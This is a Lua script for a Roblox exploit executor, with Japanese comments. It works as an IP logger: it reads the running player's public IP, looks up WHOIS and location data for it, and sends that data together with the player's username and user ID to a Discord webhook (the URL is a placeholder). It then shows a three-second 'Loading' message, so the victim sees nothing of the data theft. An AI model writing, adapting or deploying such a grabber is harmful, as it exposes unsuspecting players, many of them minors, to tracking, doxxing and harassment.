local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")

local player = Players.LocalPlayer
local username = player and player.Name or "Unknown"
local userid = player and player.UserId or "Unknown"

-- 画面に「ロード中」を表示する関数
local function showLoading()
    local playerGui = player:WaitForChild("PlayerGui")

    local screenGui = Instance.new("ScreenGui")
    screenGui.Name = "LoadingGui"
    screenGui.ResetOnSpawn = false
    screenGui.Parent = playerGui

    local textLabel = Instance.new("TextLabel")
    textLabel.Size = UDim2.new(0, 200, 0, 50)
    textLabel.Position = UDim2.new(0.5, -100, 0.5, -25)
    textLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
    textLabel.BackgroundTransparency = 0.5
    textLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
    textLabel.Font = Enum.Font.SourceSansBold
    textLabel.TextSize = 24
    textLabel.Text = "ロード中"
    textLabel.Parent = screenGui

    delay(3, function()
        screenGui:Destroy()
    end)
end

-- IP取得
local ip = "Unknown"
local success, response = pcall(function()
    return request({
        Url = "https://icanhazip.com/",
        Method = "GET"
    })
end)

if success and response and response.Body then
    ip = response.Body:gsub("%s+", "")  -- 空白・改行削除
end

-- WHOIS情報取得
local whois_info = "取得失敗"
if ip ~= "Unknown" then
    local encoded_ip = HttpService:UrlEncode(ip)  -- IPv6対応
    local whois_success, whois_response = pcall(function()
        return request({
            Url = "https://ipwhois.app/json/" .. encoded_ip,
            Method = "GET"
        })
    end)

    if whois_success and whois_response and whois_response.Body then
        local ok, data = pcall(function()
            return HttpService:JSONDecode(whois_response.Body)
        end)
        if ok and data then
            local parts = {}
            table.insert(parts, "UserName: " .. tostring(username))
            table.insert(parts, "UserId: " .. tostring(userid))
            table.insert(parts, "IP: " .. tostring(ip))
            table.insert(parts, "WHOIS情報:")
            for k, v in pairs(data) do
                table.insert(parts, string.format("%s: %s", k, tostring(v)))
            end
            whois_info = "```\n" .. table.concat(parts, "\n") .. "\n```"
        end
    end
end

-- Discordに送信
local webhook = "URL"

request({
    Url = webhook,
    Method = "POST",
    Headers = { ["Content-Type"] = "application/json" },
    Body = HttpService:JSONEncode({
        content = whois_info
    })
})

-- 送信後に画面上に「ロード中」を3秒表示
showLoading()